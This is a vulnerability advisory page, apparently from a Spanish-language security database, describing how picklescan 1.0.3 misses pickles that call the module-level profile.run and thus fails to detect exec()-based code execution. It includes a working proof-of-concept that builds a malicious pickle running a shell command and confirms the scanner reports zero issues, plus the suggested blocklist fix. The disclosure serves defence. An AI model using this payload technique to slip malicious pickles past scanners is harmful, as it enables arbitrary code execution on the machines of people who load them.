Crítica

PickleScan's profile.run blocklist mismatch allows exec() bypass

  • Publicada: 03.03.2026
  • Actualizado: 11.10.2026 12:20

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

python
"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

python
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

python
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

python
"profile": {"Profile.run", "Profile.runctx"},

to:

python
"profile": "*",

Or explicitly add the module-level functions:

python
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) picklescan < 1.0.4 1.0.4

Referencias

Puntuación CVSS 9.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-184, CWE-697
Plataforma
Python (PyPI)
Paquete
picklescan
Publicada
03.03.2026
Actualizado
11.10.2026 12:20

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-7wx9-6375-f5wh - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-455 - PyPA Advisory Database; CC BY 4.0

Historial de vulnerabilidades: picklescan

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
02.2025 03.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 25
  • Media 26

Divulgaciones por año

  1. 2025: 51
  2. 2026: 7
Gravedad:
  1. Crítica · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. PickleScan's profile.run blocklist mismatch allows exec() bypass esta entrada
    Crítica · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. Alta · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Alta · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Alta ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Alta CVE-2025-71320 < 0.0.33 0.0.33
  7. Alta · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Alta CVE-2025-71321 < 0.0.33 0.0.33
  9. Crítica · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Mostrar más (12) Mostrando 20 de 32

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.